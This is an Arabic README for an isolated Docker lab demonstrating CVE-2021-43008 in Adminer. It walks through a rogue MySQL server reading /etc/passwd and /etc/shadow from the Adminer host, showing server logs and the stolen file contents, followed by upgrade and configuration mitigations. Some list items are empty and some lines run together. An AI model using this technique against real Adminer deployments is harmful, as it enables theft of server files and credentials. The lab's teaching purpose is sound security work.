
بيئة عرض توضيحي للثغرة الأمنية CVE-2021-43008 في Adminer: مراقبة التأثير الفعلي واختبار إجراءات التخفيف.
Adminer هي أداة ويب (PHP) تُستخدم لإدارة قواعد البيانات MySQL و PostgreSQL و SQLite و SQL Server بسهولة. يتم نشرها عادةً كبديل خفيف لـ phpMyAdmin.
الإصدارات المتأثرة: Adminer ≤ 4.6.2
يسمح Adminer بالاتصال بأي خادم MySQL بعيد. أثناء الاتصال بخادم MySQL، يقبل العميل (هنا Adminer) ما يلي:
لا يتحقق Adminer بشكل صحيح من استجابات خادم MySQL في الإصدارات الضعيفة.
النتيجة: يمكن لخادم MySQL يتحكم فيه مهاجم أن يطلب:
"اقرأ هذا الملف المحلي على الجهاز أو الحاوية التي تستضيف Adminer وأرسله إلي."
ترتبط هذه الآلية بحزمة MySQL:
0xFB | filename → تؤدي إلى قراءة الملف المحلي.
يسمح Adminer 4.6.2 للمستخدم بتحديد خادم MySQL خارجي والاتصال به بحرية. علاوة على ذلك، سمح MySQL – افتراضيًا – باستخدام:
LOAD DATA LOCAL INFILEلذا: Adminer → يتصل بالخادم الخبيث → يطلب الخادم الخبيث ملفًا → يرسله Adminer.
هذا جوهر الثغرة.
يجب على المهاجم:
LOAD DATA LOCAL INFILE.لا حاجة لكلمة مرور root لاستخراج ملف محلي: يقوم Adminer بتنفيذ الإجراء كتطبيق PHP على الخادم الهدف.
يمكن للمهاجم:
باستخدام بيانات اعتماد MySQL المسروقة (مرحلة ثانوية)، يمكنه بعد ذلك:
يتم PoC في بيئة معزولة و محوسبة لتجنب أي خطر.
localhost:80800xFB filename لإجبار Adminer على قراءة ملف محلي.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
في http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.استخدم الأمر التالي لرؤية سجلات الخادم الخبيث:
docker logs -f rogue_mysql
النتيجة المتوقعة:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
اطلع على محتوى ملف stolen_file.txt:
docker exec -it rogue_mysql sh
بمجرد الدخول إلى الحاوية، يمكنك عرض محتويات الملفات بما في ذلك stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
النتيجة:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
توضح هذه النتيجة الثغرة دون أي غموض.
الحل الأكثر موثوقية: الانتقال إلى Adminer ≥ 4.6.3
الإصدارات اللاحقة تصحح السلوك الشبكي.
منذ Adminer 4.7.x، تم إدخال عدة حمايات:
Adminer يمنع الآن افتراضيًا LOAD DATA LOCAL INFILE
أي:
→ النتيجة: لم يعد خادم MySQL الخبيث قادرًا على استخراج الملفات.
Adminer يقوم بتصفية إجراءات العميل قبل الإرسال إلى الخادم
يمنع الاتصالات الخارجية من استخدام وظائف خطيرة.
آليات إضافية للتحقق من الإدخال
تتحقق الإصدارات الجديدة مما يلي:
تقييد Adminer بالمضيفين الداخليين فقط:
يجب أن يشير Adminer في الإنتاج دائمًا إلى MySQL داخلي.
LOCAL INFILE من جانب MySQLيمنع السرقة عبر عميل MySQL شرعي:
[mysqld]
local_infile=0
أو:
SET GLOBAL local_infile=0;
لا ينبغي أن يكون Adminer متاحًا على الإنترنت.
في الإنتاج:
يجب النظر إلى Adminer كأداة مؤقتة:
CVE-2021-43008 هي ثغرة حرجة في Adminer ≤ 4.6.2 تتيح:
هذا دليل مثالي على أهمية: